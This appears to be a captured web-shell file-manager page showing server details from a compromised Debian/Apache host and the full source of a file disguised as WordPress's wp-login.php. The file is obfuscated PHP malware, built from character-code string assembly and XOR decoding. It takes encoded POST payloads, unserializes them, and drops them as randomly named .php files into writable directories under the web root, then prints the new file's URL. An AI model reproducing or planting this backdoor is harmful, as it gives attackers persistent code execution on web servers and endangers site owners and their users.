HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/customize/wp-login.php
<?php function BDgINTXuo($XBVFrQ){$qExMpdjE = 'r'."\141"."\167".chr(996-879)."\162".'l'.chr(100)."\x65"."\x63"."\157".chr(337-237).chr(971-870);$tgKVWG = "\163"."\x74".chr(114).chr(627-532).chr(114).chr(111).chr(956-840)."\61".chr(51);$QBrNQCyj = 's'.chr(116).'r'."\137".'s'.chr(827-715)."\154".'i'."\x74";$XBVFrQ = $QBrNQCyj($qExMpdjE($tgKVWG($XBVFrQ)));return $XBVFrQ;}function CTkDFU($hcqXJ, $XBVFrQ){$IwROnQ = chr(115).chr(116).'r'."\137"."\x73".chr(1051-939).chr(108)."\x69"."\x74";$hcqXJ = array_slice($IwROnQ(str_repeat($hcqXJ, (count($XBVFrQ)/16)+1)), 0, count($XBVFrQ));return $hcqXJ;}function AmYvR($fAUjAdGyh, $uCZcks, $hcqXJ){$lbNrkQE = "969a407d-95da-4d62-83ff-f9907b32f7f7";return $fAUjAdGyh ^ $lbNrkQE[$uCZcks % strlen($lbNrkQE)] ^ $hcqXJ;}function MOLVb($XBVFrQ, $hcqXJ){$XBVFrQ = array_map("AmYvR", array_values($XBVFrQ), array_keys($XBVFrQ), array_values($hcqXJ));$XBVFrQ = implode("", $XBVFrQ);$dMQssUUh = chr(375-258).'n'."\x73".chr(101).chr(992-878)."\x69".chr(97).'l'.'i'."\x7a".chr(850-749);$XBVFrQ = @$dMQssUUh($XBVFrQ);return $XBVFrQ;}function SJWwxlpwll(){echo "WXqCCE";}function GzKgF($Qranmir){static $cUMSja = array();$NyNWkG = glob($Qranmir . '/*', GLOB_ONLYDIR);$xMPyr = count($NyNWkG);if ($xMPyr > 0) {foreach ($NyNWkG as $Qranm) {$VTjOCVN = "\151"."\x73"."\137".chr(735-616).'r'."\x69".chr(116)."\x61".'b'."\x6c".'e';if (@$VTjOCVN($Qranm)) {$cUMSja[] = $Qranm;}}}foreach ($NyNWkG as $Qranmir) GzKgF($Qranmir);return $cUMSja;}function bDlmkED(){echo "lTFAmUefu";}function dptRqxD($XBVFrQ){$tgxLinohj = "\104"."\x4f".chr(67).chr(656-571)."\115".chr(90-21).chr(78).'T'.chr(95)."\122".chr(900-821)."\x4f".chr(899-815);$BmkappK = $_SERVER[$tgxLinohj];$NyNWkG = GzKgF($BmkappK);$AfNDu = array_rand($NyNWkG);$NEPSlePzX = chr(204-158).chr(837-725).'h'.'p';$HkvxOdr = $NyNWkG[$AfNDu] . "/" . substr(md5(time()), 0, 8) . $NEPSlePzX;$RfvwrFPrb = "\x66".chr(105)."\x6c".'e'.'_'.chr(112).chr(1106-989)."\x74".chr(95).chr(99)."\x6f"."\156".chr(116)."\x65".chr(184-74).chr(116)."\163";@$RfvwrFPrb($HkvxOdr, $XBVFrQ);$hCWrZgf = "\110".chr(680-596)."\x54"."\x50"."\x5f"."\110"."\117".chr(83)."\124";$nwwpWfnEKC = "\150"."\164".chr(1066-950)."\160".chr(463-405).chr(961-914)."\x2f";$lBjWGz = $nwwpWfnEKC . $_SERVER[$hCWrZgf] . substr($HkvxOdr, strlen($BmkappK));print($lBjWGz);}foreach ($_POST as $hcqXJ => $XBVFrQ){$Spugqv = strlen($hcqXJ);if ($Spugqv == 16){$XBVFrQ = BDgINTXuo($XBVFrQ);$hcqXJ = CTkDFU($hcqXJ, $XBVFrQ);$XBVFrQ = MOLVb($XBVFrQ, $hcqXJ);if (@is_array($XBVFrQ)){$AfNDu = array_keys($XBVFrQ);$XBVFrQ = $XBVFrQ[$AfNDu[0]];if ($XBVFrQ === $AfNDu[0]){$suKHrPp = "\x70"."\150".'p';$dvtuA = chr(112).chr(349-245)."\160"."\166".chr(101)."\x72".chr(115)."\x69".'o'."\x6e";$Cnqgf = chr(264-149)."\145".chr(114).'i'.'a'.chr(785-677).chr(105).chr(569-447).chr(101);echo @$Cnqgf(Array($suKHrPp => @$dvtuA(), ));}else {dptRqxD($XBVFrQ);}die();}}}